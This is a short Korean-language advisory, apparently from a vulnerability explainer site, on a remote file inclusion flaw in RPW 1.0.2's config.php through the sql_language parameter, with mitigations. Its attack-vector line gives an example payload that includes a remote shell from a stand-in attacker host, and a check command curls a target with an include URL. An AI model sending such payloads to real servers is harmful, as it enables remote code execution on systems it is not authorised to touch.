🇰🇷 한글 설명
RPW 1.0.2의 config.php에서 sql_language 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 인증 없이 원격에서 임의의 PHP 코드를 실행할 수 있다. php.ini의 allow_url_include가 활성화되어 있으면 외부 URL의 PHP 파일을 포함하여 실행 가능하다.
💡 쉬운 설명
RPW 웹 애플리케이션의 설정 파일에 다른 서버의 파일을 불러올 수 있는 구멍이 있다. 해커가 악의적인 파일의 주소를 입력하면 서버가 그것을 실행해버린다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in config.php in RPW 1.0.2 allows remote attackers to execute arbitrary PHP code via a URL in the sql_language parameter.
📍 영향받는 시스템
RPW (RichPHP Web) 1.0.2 및 이전 버전
⚔️ 공격 벡터
sql_language 파라미터에 원격 PHP 셸 URL을 전달 (예: ?sql_language=http://attacker.com/shell.php)
🛡️ 대응 방법
RPW 최신 버전 업그레이드, php.ini에서 allow_url_include=Off 설정, 입력값 검증 및 필터링 적용
🔧 검증 코드
PHP 에러나 경고 메시지가 외부 URL 접근 시도와 함께 나타나면 취약점 가능성이 높으며, 정상 응답만 오면 패치되었거나 allow_url_include가 비활성화된 상태
curl -s 'http://target/config.php?sql_language=http://169.254.169.254/test.php' 2>&1 | head -20